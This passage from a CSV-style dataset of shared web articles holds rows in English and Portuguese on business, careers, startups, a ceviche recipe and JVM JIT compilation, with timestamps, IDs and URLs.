preço"", observa o consultor Carlos Legal. Ao dizer que não estão dispostos a fazer qualquer tipo de sacrifício para chegar ao topo, esses profissionais aceleram o processo de mudança no próprio modo de funcionar das organizações.",pt
1467814347,CONTENT SHARED,-6238628334008320788,4918484843075254252,-5701227433817087697,,,,HTML,http://www.inc.com/jessica-stillman/8-books-stanford-mbas-recommend-you-read-this-summer.html,8 Books Stanford MBAs Recommend You Read This Summer,"MBAs are expensive and time-consuming, and the ones from top schools that really turbo-charge your career are also, of course, exceptionally difficult to get into. Which makes getting a top-flight business degree an impossibility for most professionals. But just because you don't have the time, money, or academic background to attend the likes of Stanford Business School, doesn't mean you can't snatch a little bit of the program's wisdom for free and from a distance. Thanks to generous grads, several of the top insights you learn from a Stanford MBA have made it into the public domain. And a recent Insights by Stanford Business post offers a little bit more free Stanford magic. The school helpfully solicited super successful grads for their top summer book recommendations in order to help other professionals read like some of the country's top MBAs when they hit that sun lounger this year . The short post is a simple list of suggestions without explanation for why they were chosen, so this will be a short post. But hopefully the titles alone are a valuable resource for those looking to feed their brain this summer . What books are you packing in your beach bag or suitcase this summer?",en
1467817755,CONTENT SHARED,-6651333707067617642,-1387464358334758758,3758327509824608988,,,,HTML,http://figosefunghis.com.br/2016/07/ceviche-de-salmao-com-maracuja.html,Ceviche de Salmão com Maracujá,"Aqui em casa nós amamos ceviche, eu mais ainda porque sou fã mesmo da comida peruana (não é à toa que já estive no Peru por duas vezes com a única missão de comer tudo o que conseguisse kkkk). Então, aí que apesar de estarmos em pleno inverno surgiu um sol gostoso, e dias bonitos me lembram pratos delicados, frescos, coloridos... Vocês sabem que o ceviche é um prato em que o peixe é cozido no caldo do limão né? Então, o diferencial desta receita é que além do limão eu deixo o peixe marinar/cozinhar no maracujá, ambas frutas ácidas e por isso adequadas para este tipo de preparo. Eu gosto do ceviche naquele ponto em que os cubinhos ficam cozidos do lado de fora e crus por dentro, e dá para perceber isso quando o lado de fora fica levemente esbranquiçado e opaco, mas acho ideal porque é tempo suficiente para que o leite de tigre encharque a carne do peixe de sabor. Outro motivo para eu amar ceviche além da delicia que é, é que ele tem pouquíssimas calorias e é perfeito para depois da prática de exercícios, já que é proteína pura. Como eu faço um baita esforço para me manter em uma alimentação bacaninha durante os dias da semana o ceviche acaba sendo figurinha fácil por aqui. Como faço bastante, para dar uma diversificada às vezes eu coloco cubos de avocado (aquele tipo de abacate menorzinho, sabe?), em outras coloco manga, e assim sempre sai um ceviche diferentão. Por isso mesmo é que já publiquei algumas versões diferentes de ceviche aqui no blog. Olivia também já aprendeu com os pais e adora ceviche, come até a cebola crua e não reclama...kkkk. Aprendi que paladar de criança é assim, precisa de treinamento para se acostumar a comer de tudo. CEVICHE DE SALMÃO COM MARACUJÁ (para 2 pessoas) Ingredientes: 400g de lombo de salmão fresco sem pele e sem espinhas suco de 1 limão tahiti polpa de 1 maracujá 1 cebola roxa fatiada em meia lua 1 pimenta dedo-de-moça sem sementes e bem picada 2 colheres (sopa) de coentro fresco picado sal a gosto 6 pedras de gelo Modo de Preparo: Deixe a cebola de molho em água fria por 10 minutos. Corte o peixe em cubos médios, nem muito grandes nem muito pequenos, do tamanho de um bocado. Coloque-os em uma tigela e cubra com o suco de limão, a polpa de maracujá e um pouco de sal. Junte os cubos de gelo e mexa com uma colher por alguns minutos, depois cubra e leve à geladeira por 15 minutos. Escorra a cebola e reserve. Tire o peixe temperado da geladeira, retire os cubos de gelo de dentro e junte a cebola, a pimenta e o coentro. Adicione mais sal se achar necessário. Sirva em seguida. Dica esperta: Os cubos de gelo servem para manter o peixe bem fresco e gelado, além de acelerar o cozimento a frio. Aprendi este truquezinho lá no Peru, com um expert em ceviche de rua, os melhores que se pode achar por lá! Não sei vocês, mas eu sou muito feliz com um bowlzinho de ceviche na mão :) Beijo!",pt
1467822323,CONTENT SHARED,5338677278233757627,-4627026983118548639,-3005922752286260244,,,,HTML,http://www.nytimes.com/2014/02/23/opinion/sunday/friedman-how-to-get-a-job-at-google.html,How to Get a Job at Google,"MOUNTAIN VIEW, Calif. - LAST June, in an interview with Adam Bryant of The Times, Laszlo Bock, the senior vice president of people operations for Google - i.e., the guy in charge of hiring for one of the world's most successful companies - noted that Google had determined that ""G.P.A.'s are worthless as a criteria for hiring, and test scores are worthless. ... We found that they don't predict anything."" He also noted that the ""proportion of people without any college education at Google has increased over time"" - now as high as 14 percent on some teams. At a time when many people are asking, ""How's my kid gonna get a job?"" I thought it would be useful to visit Google and hear how Bock would answer. Don't get him wrong, Bock begins, ""Good grades certainly don't hurt."" Many jobs at Google require math, computing and coding skills, so if your good grades truly reflect skills in those areas that you can apply, it would be an advantage. But Google has its eyes on much more. ""There are five hiring attributes we have across the company,"" explained Bock. ""If it's a technical role, we assess your coding ability, and half the roles in the company are technical roles. For every job, though, the No. 1 thing we look for is general cognitive ability, and it's not I.Q. It's learning ability. It's the ability to process on the fly. It's the ability to pull together disparate bits of information. We assess that using structured behavioral interviews that we validate to make sure they're predictive."" The second, he added, ""is leadership - in particular emergent leadership as opposed to traditional leadership. Traditional leadership is, were you president of the chess club? Were you vice president of sales? How quickly did you get there? We don't care. What we care about is, when faced with a problem and you're a member of a team, do you, at the appropriate time, step in and lead. And just as critically, do you step back and stop leading, do you let someone else? Because what's critical to be an effective leader in this environment is you have to be willing to relinquish power."" What else? Humility and ownership. ""It's feeling the sense of responsibility, the sense of ownership, to step in,"" he said, to try to solve any problem - and the humility to step back and embrace the better ideas of others. ""Your end goal,"" explained Bock, ""is what can we do together to problem-solve. I've contributed my piece, and then I step back."" And it is not just humility in creating space for others to contribute, says Bock, it's ""intellectual humility. Without humility, you are unable to learn."" It is why research shows that many graduates from hotshot business schools plateau. ""Successful bright people rarely experience failure, and so they don't learn how to learn from that failure,"" said Bock. ""They, instead, commit the fundamental attribution error, which is if something good happens, it's because I'm a genius. If something bad happens, it's because someone's an idiot or I didn't get the resources or the market moved. ... What we've seen is that the people who are the most successful here, who we want to hire, will have a fierce position. They'll argue like hell. They'll be zealots about their point of view. But then you say, 'here's a new fact,' and they'll go, 'Oh, well, that changes things; you're right.' "" You need a big ego and small ego in the same person at the same time. The least important attribute they look for is ""expertise."" Said Bock: ""If you take somebody who has high cognitive ability, is innately curious, willing to learn and has emergent leadership skills, and you hire them as an H.R. person or finance person, and they have no content knowledge, and you compare them with someone who's been doing just one thing and is a world expert, the expert will go: 'I've seen this 100 times before; here's what you do.' "" Most of the time the nonexpert will come up with the same answer, added Bock, ""because most of the time it's not that hard."" Sure, once in a while they will mess it up, he said, but once in a while they'll also come up with an answer that is totally new. And there is huge value in that. To sum up Bock's approach to hiring: Talent can come in so many different forms and be built in so many nontraditional ways today, hiring officers have to be alive to every one - besides brand-name colleges. Because ""when you look at people who don't go to school and make their way in the world, those are exceptional human beings. And we should do everything we can to find those people."" Too many colleges, he added, ""don't deliver on what they promise. You generate a ton of debt, you don't learn the most useful things for your life. It's [just] an extended adolescence."" Google attracts so much talent it can afford to look beyond traditional metrics, like G.P.A. For most young people, though, going to college and doing well is still the best way to master the tools needed for many careers. But Bock is saying something important to them, too: Beware. Your degree is not a proxy for your ability to do any job. The world only cares about - and pays off on - what you can do with what you know (and it doesn't care how you learned it). And in an age when innovation is increasingly a group endeavor, it also cares about a lot of soft skills - leadership, humility, collaboration, adaptability and loving to learn and re-learn. This will be true no matter where you go to work.",en
1467823363,CONTENT SHARED,-8187220755213888616,1895326251577378793,6337372998984359835,,,,HTML,http://www.mckinsey.com/industries/high-tech/our-insights/organizing-for-digital-acceleration-making-a-two-speed-it-operating-model-work,Organizing for digital acceleration: Making a two-speed IT operating model work,"By adopting a digital product management model, companies can get the most from their IT architectures and deliver innovative online customer experiences faster. Innovators that were ""born digital"" as Internet companies have set the standard for delivering optimal customer experiences-that is, providing the information and platforms customers need to find and acquire products or services quickly and reliably. Internally, they focus on agility and accelerated learning. To put this learning into action, they use organizational models empowering product managers to test and implement rapid changes that enhance engagement and increase the chances that customers will buy and come back for more. Companies such as Amazon, Facebook, and Google actively control the tempo of their IT infrastructure and have aligned their technology and production systems with their business goals. They think differently about how they are organized at all levels. They limit the size of their application-development teams. They encourage product managers to think about digital experiences rather than discrete applications or components-a product manager may be accountable for the entire checkout process, for instance, rather than for the payment application alone. These companies engage in frequent testing and experimentation. They pursue hypertargeted marketing strategies. They collect and learn from consumer data. And they are not afraid to fail. Traditional companies are challenged to achieve similar levels of alignment and internal accountability. They typically rely on legacy enterprise resource planning and other transaction-oriented IT systems for security and reliability. Major changes to these systems can often take months of development and testing. At the outset, many brick-and-mortar companies will probably lack the tools, governance models, and skill sets required to pursue the same agile approaches and test-and-learn strategies their digital competitors are using. How can traditional consumer-facing organizations get up to speed? The first step, which addresses the need for alignment, is adopting a two-speed IT architecture -one that decouples the management of customer-centric front-end systems and applications from the management of existing transaction-oriented back-end systems. The second step, which addresses the need for accountability, is adopting the same focus on digital product management that digital companies demonstrate-that is, empowering managers to incorporate users' feedback into product-development efforts actively and systematically and holding managers accountable for results. Traditional companies therefore need to emulate online companies' best practices in governance and talent development. In this article, we consider ways companies can take these two mutually reinforcing steps. A two-speed IT architecture based on microservices that can be enhanced and updated independently enables agile product development and accelerated innovation. And a focus on digital product management can help traditional companies improve their time to market with innovative IT offerings and provide satisfying customer interactions that result in lasting and profitable long-term relationships. Adopting a two-speed IT mind-set The benefits of adopting a two-speed IT architecture have been widely discussed. Not the least of these is that such an architecture allows companies to preserve the transactional technologies, processes, and activities they have come to rely on while also exploring innovative consumer-facing technologies and models. In relatively fast fashion, companies may be able to roll out improved website offerings that could greatly enhance customers' experiences with the company (exhibit). The two-speed approach can offer the best of both worlds, but it requires real commitment to implement. A central impediment is getting all stakeholders aligned on just how to synchronize front- and back-end systems and processes and where to decouple them in the interest of speed. Consider the experiences of one large retail company. Out of habit, it supported a new digital offering by applying an IT-governance model it had been using in certain parts of the organization. Under the existing governance model, the IT organization was split into two groups: one side focused on supplying the software required to launch the digital feature (for instance, developing applications and maintaining infrastructure) and the other focused on supporting user demand for the software (for instance, managing suggested changes and new requirements from the business side). This model had been effective in the traditional business because there had always been plenty of time between quarterly internal software upgrades for operations, logistics, finance, and other departments to meet and determine how to adjust to any changes. It has been less effective in the digital context, where new customer-facing features and functionality-for instance, upgrades to the shopping cart and payment applications-are rolled out in weeks rather than months. The endless meetings required to gain alignment under the existing model constituted an unwanted time sink, and ultimately the organization had to step back and reset its operating model to compete digitally. As companies seek quick fixes for this sort of alignment problem, they often encounter a wide range of pitfalls. They look outside to gain speed. Some companies will hire an external development company to build applications for new online offerings. In turn, the outside developer often will deliver a concept and prototype quickly but may need several turns with the app before the prototype can move into production. The outside developer's delivery on the request tends to be fast, but in the long term it can be challenging for companies to integrate discrete applications, built independently from other elements of its technology infrastructure, with complex existing back ends. They build it and move on. Some companies will isolate their software engineers and experts in customer-experience design in an incubator to focus on developing and launching a customer-facing system or software upgrade quickly, hoping to get traction on some digital improvement. A few initiatives will flourish under this quick-hit approach, but many more will wither on the vine as the team moves on to the next digital priority. (And there is always another one.) The result is serial innovation with no sustained support for each round of website or mobile-application enhancements. They set up a separate and independent digital organization. To ramp up digital offerings, some companies create a separate organization and system for implementing their digital strategy, or they acquire a pure-play digital company to speed up the initiative. In and of itself, this can be a good strategy-but only if the digital lab is in step with the rest of the business. Leaders in both traditional and digital camps must designate clear roles and responsibilities, and they must build mutual trust among team members. In practice, having separate digital and traditional organizations can make it difficult to develop standard systems and practices that account for the complexities built into transaction-based legacy IT systems. When legacy systems and new front-end innovations are aligned, staff members in traditional and digital groups can better coordinate their efforts and effectively pursue multichannel marketing strategies. Each side has a role to play in getting things right. Perhaps the biggest pitfall, however, occurs when companies try to adopt the same technology platforms that online companies are using and assume this alone will solve their alignment problems. It is not enough just to reorganize around platforms. Companies must reorient themselves and their product-development processes around customer experiences and insights. To enable fast front ends that will complement their transaction-oriented legacy back ends, they can adopt a digital product management model. Shifting to a digital product management model A digital product management approach requires that companies systematically incorporate customers' needs and insights into their products and services. Teams are held accountable for implementing specific improvements to digital products or digital experiences. Other groups, such as marketing, logistics, and customer service, may be collaborators, but ultimately digital product managers are measured on outcomes associated with the revised product or experience. Additionally, product-development teams are focused on delivering a minimally viable product that can be launched quickly to elicit useful feedback from customers. Indeed, rather than conducting focus groups and conjoint analyses at the end of product development, the digital product managers pull customers in during the creation process-canvassing them frequently and acting on their responses. The digital product management approach can help companies streamline their development processes, reveal breakthrough product innovations, and engender customer loyalty. But it requires that companies ask themselves two critical questions relating to accountability: Who is responsible for steering the different parts of the digital product portfolio? How do we organize our development teams to ensure that we have the right mix of talent and an environment that is conducive to innovation? Getting the answers right for your company-and altering the profiles of both product managers and the development environment-can mean the difference between having a slow-moving IT shop that looks for the lowest common denominator and being able to release breakthrough product innovations that meet customers' most pressing needs. Who is responsible? Traditional companies that want to adopt a digital product management approach will need to acknowledge the difference between developing empowered IT product managers, who are accountable for improving the customer experience, and maintaining a group of IT staffers who are there simply to gather requirements and execute requests from the business side. One retailer, for instance, wanted to own its online-checkout experience rather than outsource this capability to a third-party provider. Under the old operating model, the retailer's IT organization included a number of product managers, each of whom was responsible for a particular application. Requests from the business side were funneled to the application owner through a member of the IT group, and the application owner would interpret the instructions and implement the changes-on time but not necessarily meeting customers' needs. When the company implemented a digital product management approach, it assigned each stage of the overall customer experience to a product manager. The product manager assigned to oversee the checkout stage had a background in business, as well as expertise in core technologies, and he was able to help create a detailed set of metrics by which his performance would be measured. The measures included sales outcomes, such as the drop-off rate at checkout. With the right technology architecture and product managers in place, the company was able to act nimbly on its digital initiatives. Whereas it might take many months to develop customer-facing system changes before they were deemed ready for customers, the company's new checkout experience was launched relatively quickly. Digital product managers created a viable ""lite"" version of the system, ran 10 percent of the company's traffic through the new experience, adjusted the system through feedback and observations, expanded the rollout to a wider audience, and continued revising features. How do we organize? Decisions about how to indoctrinate your organization in digital product management should be guided by six critical imperatives. Clearly define your digital products. Companies need to classify the elements of their digital initiatives. They can start by defining the user or business problems they are attempting to solve through digitization, identifying which digital activities have been designed to address the problems, and prioritizing those activities according to the amount of development resources required for each. Does the company want to improve its checkout experience dramatically (as the retailer mentioned earlier did), the entire customer experience from first click, or the entire website? During this process, companies will need to consider a number of factors, including which new metrics might be required to determine the success or failure of a digital product. Assign discrete parts of the customer experience to product managers. Once digital products have been identified and classified, companies need to assign product managers to specific stages of the digital experience. As in the retail example, digital-product managers can no longer be considered as simply request takers-they should be charged with assessing the value, utility, and feasibility of new and existing website features. They should be given freedom not only to refine existing digital products but also to redefine them in ways that create better customer experiences-for instance, by devising a new one-click-checkout option rather than simply upgrading an existing multistep process. Test prototypes with customers. Digital product managers must be given the leeway to get in front of customers with minimally viable products-such as the lite version of the checkout system that the retailer tested (and retested) with customers. Such products will allow product-development teams to collect valuable insights and ultimately bring website improvements to customers sooner. Ideas must be tested early and often with actual target users, whose views on the utility and viability of the proposed digital experience are likely to be more accurate than those of internal stakeholders. Inevitably, not everyone in the organization will be on board with a test-and-learn approach; to demonstrate its power, IT executives can start with pilot projects, using any successes as proof of concept. Recruit differently. Digital product managers must interact with professionals from across the product-development spectrum. So they must be well versed not just in technology concepts but also in engineering, user-experience design, agile product development, finance, marketing, and many of the other professional domains that enable the rapid creation of an online product or service. As the retail example described earlier suggests, the best candidates will have a business and an IT background. IT organizations may need to hire from different pools of talent than they typically have-looking outside the company, certainly, but perhaps also reaching into different internal groups, such as marketing-and they might need to focus on ""softer"" skills than they are used to. Critical soft success factors might include a capacity for customer empathy, problem-solving skills, and creativity. Strengthen relationships between product managers and product engineers. A digital product management approach and two-speed architecture both must be supported by a product-management organization that interacts seamlessly with the members of the IT group who are designing and delivering digital products and experiences. Such interactions can be thwarted, however, when traditional organizations try to impose formal communication systems and processes on teams-systems and processes typically used in a context that is not focused on digital delivery. Instead, these companies should seek to develop agile ways for these groups to work together. One way to facilitate informal collaboration, for instance, is to have product managers sit in the same room as product developers to create new offerings or update existing ones jointly. This codevelopment model increases the need for product managers to demonstrate a certain level of technology IQ as well as business savvy; for instance, they must understand how to judge the technology requirements associated with a development effort or how to manage the IT architecture when slight changes in product specifications occur. Create appropriate incentives. Software engineers' performance has traditionally been measured according to the speed with which they respond to the business's request for software upgrades and not the result of those changes. Under a digital product management approach, performance must be measured according to product managers' ability to support a successful customer experience-appropriate metrics might include increases in sales or customer-satisfaction scores as a result of new or improved digital offerings. Product managers' performance should be evaluated using business metrics that they can influence directly. Conversion rates, for example, may be a fair measure for a product manager who owns the ""front page"" of a commercial website. Having both a flexible IT architecture and a digital product management capability is a prerequisite for competing in today's fast-moving markets. By aligning the processes that manage back-end and front-end IT systems and by holding all staffers and stakeholders accountable for adopting new mind-sets and processes, organizations can create compelling customer experiences online and compete more effectively with digital rivals. About the author(s) Oliver Bossert is a senior expert in McKinsey's Frankfurt office; Martin Harrysson is an associate principal in the Silicon Valley office, where Roger Roberts is a principal.",en
1467830719,CONTENT SHARED,3097721536109455446,-1443636648652872475,-7769748385684555628,,,,HTML,http://venturebeat.com/2016/07/06/google-buys-machine-learning-startup-moodstock-to-help-your-phones-camera-identify-objects/,Google buys machine learning startup Moodstock to help your phone's camera identify objects,"Google announced today that it has acquired Paris-based Moodstocks, a startup that has developed machine learning technology to bolster the image recognition features on smartphones. ""We continue to pursue our machine learning and research efforts,"" wrote Vincent Simonet, head of the research and development team for France Google, "" and Moodstocks is the latest proof of our commitment to this area."" Moodstocks also confirmed the deal on its website: ""Today, we're thrilled to announce that we've reached an agreement to join forces with Google in order to deploy our work at scale. We expect the acquisition to be completed in the next few weeks. Our focus will be to build great image recognition tools within Google, but rest assured that current paying Moodstocks customers will be able to use it until the end of their subscription."" The terms of the deal were not disclosed. Founded in 2008, the small Moodstocks team will now join Google's R&D team in Paris where they will continue to develop their machine vision tools as part of Google's services. The deal is the latest recognition of Paris' growing hub of machine learning and artificial intelligence companies. Simonet wrote that while Google had made big advances in machine vision, it is overall still in the early stages. ""Many Google services use machine learning to make them simpler and more useful in everyday life - such as Google Translate, Smart Reply Inbox, or the Google app,"" Simonet wrote. ""We have made great strides in terms of visual recognition: now you can search in Google Pictures such as 'party' or 'beach' and the application will offer you good pictures without you needing to categorize them manually. But there is still much to do in this area. And this is where Moodstocks comes in."" Get more stories like this on Twitter & Facebook Google's innovative search technologies connect millions of people around the world with information every day. Founded in 1998 by Stanford Ph.D. students Larry Page and Sergey Brin, Google ... All Google news """,en
1467830902,CONTENT SHARED,-6641749235744758169,8250502084456448386,-2265997600928948717,,,,HTML,http://startse.infomoney.com.br/portal/2016/06/29/20422/airbnb-so-decolou-depois-de-jogar-uma-regra-de-ouro-fora/,AirBnB só decolou depois de jogar uma regra de ouro fora,"Avaliado em US$ 30 bilhões e com um legado de disrupção, o AirBnB é uma das principais startups do mundo. Mas para chegar no topo, a empresa passou dificuldades e teve que abandonar uma regra dourada das startups para prosperar: fizeram algo que não era escalável para tirar a empresa da dificuldade. Uma jogada que deu certo. O ano era 2009 e o AirBnB ainda não havia decolado. As pessoas entendidas em startups conseguiam ver que a empresa tinha uma inovação diruptora . Ela já estava na maior aceleradora do Vale do Silício , a Y Combinator. Mas a empresa estava em apuros e só recebia US$ 200 por semana pelos últimos oito meses, sem NENHUM crescimento. Uma noite, os fundadores da empresa, já desesperados e com os cartões de crédito estourados por não ganharem nenhum dinheiro, foram atrás de saber o que estava errado nas listagens de Nova York. Perceberam um padrão nas 40 listagens da cidade: fotos ruins, pouco atraentes, que mais pareciam aquelas listagens padrões de imobiliárias. Não interessavam para quem olhava atrás de algo para alugar. Então tomaram uma decisão, uma solução longe de ser técnica. Iriam para Nova York, pegariam uma câmera profissional e trocariam aquelas fotos ruins por fotos tiradas em alta definição e que interessassem os usuários. E não havia nada que lhes mostrassem que essa ia ser a solução, apenas a intuição dos fundadores. Mas deu certo e a empresa passou a receber US$ 400 por semana - a primeira evolução em oito meses. Era o turning-point da companhia. Anteriormente, eles acreditavam que TUDO precisava ser decidido por ser escalável e que informações que pegassem lhes mostrariam o que eles teriam que fazer. Agora, esse caso lhes tirava a fé em um dogma central que 99% das startups possuem - nem sempre a solução é técnica. ""Tínhamos essa mentalidade do Vale do Silício em que tudo precisa ser resolvido de uma maneira escalável, pois essa é a beleza da tecnologia, certo? Você pode escrever uma linha de programação que resolve o problema para 1, 10, 10.000 ou 1 milhão de consumidores. Acreditávamos nesse dogma, pois é assim que se resolvem os problemas no Vale, até encontrar Paul Graham da Y Combinator. E ali foi a primeira vez que alguém nos deu permissão para fazer coisas que não são escaláveis. E eu não vou esquecer isso, pois isso salvou a empresa"", fala Joe Gebbia, fundador da empresa . E o que aconteceu depois disso? Explodiu e chegou onde chegou, como mostra este infográfico: E hoje, o AirBnB vale US$ 30 bilhões. Graças à uma decisão de não levar seus dogmas tão a sério.",pt
1467831035,CONTENT SHARED,-8635809464649679621,8250502084456448386,-2265997600928948717,,,,HTML,http://startse.infomoney.com.br/portal/2016/05/17/19357/a-inovacao-que-todos-queriam-fone-de-ouvido-que-traduz-outras-linguas/,A inovação que todos queriam: fone de ouvido que traduz outras línguas,"Você fez aula de inglês? Alemão? Francês? Bom. Agora talvez você não precise mais aprimorar suas habilidades em inglês. A Waverly Labs, uma startup, acaba de lançar um fone de ouvido que traduz imediatamente o que você escuta em outras línguas! É a ferramenta ideal para você que lida com pessoas de outros países e não sabe falar a língua deles! O pesadelo da Cultura Inglesa, Wizard, Aliança Francesa e outras tantas escolas de idiomas! Era uma invenção meio óbvia (quem NUNCA pensou nisso que atire a primeira gramática de inglês), mas muitíssimo interessante. E muitas das melhores inovações são coisas que as pessoas - se você quer entender tudo de inovação, dê uma olhada neste hangout de Gustavo Caetano, o Mark Zuckerberg brasileiro . O aparelho deve estar disponível para compra em setembro (por US$ 129, neste site ) e virá com um aplicativo de celular, para que você possa controlar a tradução. Ele virá com quatro línguas disponíveis: francês, inglês, italiano e espanhol. Nada de português, mas tudo bem, you probably speaks english, don't you? Hablas español? Parle français? Sabe gesticular como italiano? Ainda não se sabe como é a qualidade da tradução (jogue qualquer texto no Google Tradutor e você perceberá que essa tecnologia ainda está LONGE de estar 100%). Mas a partir do ponto zero, provavelmente a tendência é conseguir fazer isso ficar melhor e melhor. Mensagem do Editor Ei, tudo bom? Gostaria de agradecer pela visita! Meu nome é Felipe Moreno, sou editor-chefe do StartSe e, como muito de vocês, dono de uma (minúscula) startup de mídia. E te fazer um pequeno convite: vamos bater um papo! É só se cadastrar aqui embaixo e eu vou te enviar alguns e-mails para você com o melhor do nosso conteúdo para te ajudar, seja você um empreendedor, funcionário, investidor ou apenas interessado neste maravilhoso mundo! É um caminho de comunicação direto que nenhum outro portal oferece para seus leitores. E a intenção é construir uma comunidade vibrante que esteja preparada para todos os enormes desafios que virão. Vamos construir conhecimento e conteúdo juntos! Conto muito com a presença de vocês neste papo!",pt
1467840487,CONTENT SHARED,6016376495317032228,-3596626804281480007,-8658243420917601614,,,,HTML,http://vocerh.uol.com.br/noticias/acervo/uma-recepcao-eficiente.phtml,Uma recepção eficiente,"Antonio Salvador, vice-presidente de RH do Grupo Pão de Açúcar: o nível de engajamento dos colaboradores aumentou de 37% para 64% em dois anos | Crédito: Daniela Toviansky Em 2014, a área de recursos humanos do Grupo Pão de Açúcar, a maior companhia varejista do Brasil, identificou um baixo nível de engajamento (37%) e uma alta rotatividade dos funcionários das lojas da marca Pão de Açúcar na cidade do Rio de Janeiro. Esses indicadores comprometiam o grau de satisfação no atendimento ao cliente, que não passava de 66%, e afetavam a padronização dos serviços. ""O cliente do Pão de Açúcar é um dos mais exigentes, pois paga por um serviço diferenciado"", diz Antonio Salvador, vice-presidente de RH do GPA. Melhorar esses índices é uma tarefa complexa no varejo, principalmente porque a taxa de rotatividade durante os primeiros 90 dias de trabalho é alta - no Pão de Açúcar do Rio era de 61%. Foi então que a equipe de RH percebeu que o funcionário recém-contratado iniciava suas atividades na loja sem passar por uma capacitação. ""Depois de alguns dias de trabalho, o profissional acabava não tendo mais tempo de sair da sua rotina e acabava não indo ao treinamento de dois dias que era programado"", afirma Salvador. Com funções bem segmentadas, o empregado que não passava pela capacitação perdia o interesse de conquistar novas ocupações. Com isso, a produtividade caía, o atendimento piorava e as demissões cresciam. O objetivo era encontrar uma solução para reter a mão de obra e manter os empregados comprometidos. Para receber os profissionais dos 22 supermercados Pão de Açúcar do Rio, desde o primeiro dia de trabalho, o GPA transformou em escola um espaço na loja Leblon, uma das principais em vendas no Brasil. Em vez de dois dias de imersão sobre a cultura e os processos da marca, como era antes, os integrantes passaram a ter seis dias de dedicação total à rede, antes de iniciar suas funções. ""Um funcionário que recebe um processo de capacitação intenso logo na sua contratação, além de se sentir mais valorizado, chega mais preparado e confiante para exercer suas tarefas desde o primeiro dia no grupo"", diz Antonio Salvador. O novo programa de integração aborda conteúdos institucionais, comportamentais, éticos e de formação técnica. A estrutura atual busca uma capacitação mais eficiente e padronizada para a execução das atividades em todas as seções da loja. ""A ideia é oferecer um mix de sala de aula e de prática em uma das melhores lojas da cidade, garantindo exatamente o mesmo conteúdo a todos os funcionários"", explica o vice-presidente de recursos humanos. Os novatos são treinados por um grupo de profissionais de cada área, que foram promovidos para a carreira de formador técnico e passaram a se dedicar exclusivamente à loja-escola. Cada funcionário que conclui o programa de treinamento recebe um certificado. ""Alguns até choram de emoção no fim do novo processo de capacitação"", conta Salvador. Cerca de 3 000 empregados das lojas Pão de Açúcar do Rio de Janeiro foram capacitados pelo novo programa de integração. Como resultado, os indicadores que apontavam problemas em 2014 melhoraram em 2016. O índice de 37% de engajamento dos funcionários aumentou para 64% este ano. A rotatividade dos profissionais nos primeiros 90 dias caiu para 44% em 2016. O GPA realizou uma pesquisa de cliente oculto, que simulou situações de compra em diferentes lojas Pão de Açúcar no Rio de Janeiro, para medir o grau de satisfação do atendimento ao consumidor. Nesse caso, o Grupo conseguiu uma melhoria de 66%, em 2014, para 72%, em 2016. A lição é clara: ""Um profissional bem treinado e motivado oferece um serviço muito melhor"", afirma Salvador. Depois da experiência bem-sucedida no Rio de Janeiro, a equipe de RH expandiu o novo formato de integração para as lojas de São Paulo. Desta vez, a loja adaptada para receber o treinamento foi a da Ana Rosa, onde, desde abril, empregados das 79 lojas Pão de Açúcar vêm recebendo a capacitação. A marca Minuto Pão de Açúcar, em São Paulo, também aderiu ao treinamento e vem trabalhando com a integração de funcionários de 48 lojas no endereço da Minuto Lins. A expectativa na capital paulista é capacitar cerca de 240 pessoas por mês pelo Pão de Açúcar e outras 80 pelo Minuto Pão de Açúcar, num total de quase 4 000 trabalhadores por ano. - No Brasil: 185 lojas Pão de Açúcar (22 no Rio de janeiro) e 62 lojas Minuto Pão de Açúcar - Funcionários no Brasil: 18 000 no Pão de Açúcar (1 100 no Rio de Janeiro) e 1 200 no Minuto Pão de Açúcar - Faturamento do GPA em 2015: 69,1 bilhões de reais - Projeto: novo programa de integração e treinamento para melhorar índices de engajamento e rotatividade dos funcionários, no Rio de Janeiro, das lojas do Pão de Açúcar, e, em São Paulo, das lojas Pão de Açúcar e Minuto Pão de Açúcar. - Principais resultados: o nível de comprometimento dos funcionários aumentou 37%, enquanto a rotatividade caiu 17%.",pt
1467846051,CONTENT SHARED,-4921088466135297415,2553895156129400476,5749236882782603295,,,,HTML,https://www.infoq.com/articles/OpenJDK-HotSpot-What-the-JIT,What the JIT!? Anatomy of the OpenJDK HotSpot VM,"Key takeaways Applications can select an appropriate JIT compiler to produce near-machine level performance optimizations. Tiered compilation consists of five levels of compilation. Tiered compilation provides great startup performance and guides further levels of compilation to provide high performance optimizations. JVM switches provide diagnostic information about the JIT compilation. Optimizations like Intrinsics and Vectorization further enhance performance. The OpenJDK HotSpot Java Virtual Machine, fondly known as the Java VM or the JVM, consists of two principal components: the execution engine and the runtime. The Java VM and Java APIs comprise the Java Runtime Environment, also known as the JRE. In this article we will explore the execution engine particularly the just-in-time (JIT) compilation, as well as runtime optimizations in OpenJDK HotSpot VM. Java VM's Execution Engine and Runtime The execution engine consists of two major components: the garbage collector, (which reclaims garbage objects and provides automatic memory/heap management) and the JIT compiler (which converts bytecode to executable machine code). In OpenJDK 8, the "" tiered compiler "" is the default server compiler. HotSpot users can still select the non-tiered server compiler (also known as ""C2"") by disabling the tiered compiler (- XX:-TieredCompilation ). We will learn more about these compilers shortly. The Java VM's runtime handles class loading, bytecode verification and other important functions as shown below. One of these functions is ""interpretation"" and we will be talking more about it shortly. You can read more about Java VM's runtime here . Adaptive JIT and Runtime Optimizations The JVM system is the backend helper for Java's write once, run anywhere capability. Once a Java program is compiled into bytecode, it can be executed by a JVM instance. OpenJDK HotSpot VM converts bytecode into machine executable code by ""mixed-mode"" execution. With ""mixed-mode"", the first step is interpretation, which converts bytecode into assembly code using a description table. This pre-defined table, also known as the ""template table"", has assembly code for each bytecode instruction. Interpretation begins at JVM startup, and is the slowest form of bytecode execution. Java bytecode is platform independent, but interpretation and compilation into machine executable code are definitely dependent on the platform. In-order to get faster, efficient (and adaptive to the underlying platform) machine code generation, the runtime kicks off just-in-time compilation, i.e. JIT compilation. JIT compilation is an adaptive optimization for methods that are proven to be performance critical. In order to determine these performance-critical methods, the JVM continually monitors the code for the following critical metrics: Method entry counts - assigns a call counter to every method. Loop back branches (commonly known as loop back-edge) counts - assigns a counter to every loop that has executed. A particular method is considered performance critical when its method entry and loop-back edge-counters cross a compilation threshold (- XX:CompileThreshold ) set by the runtime. The runtime uses these metrics to determine whether to compile the performance critical methods themselves or their callees. Similarly, a loop is considered performance critical if the loop-back branch counter exceeds a predetermined threshold (based on the compilation threshold). When the loop back-edge counter crosses its threshold, then only that loop is compiled. The compiler optimization for loop-backs is called on-stack replacement (OSR), since the JVM replaces the compiled code on stack . OpenJDK HotSpot VM has two different 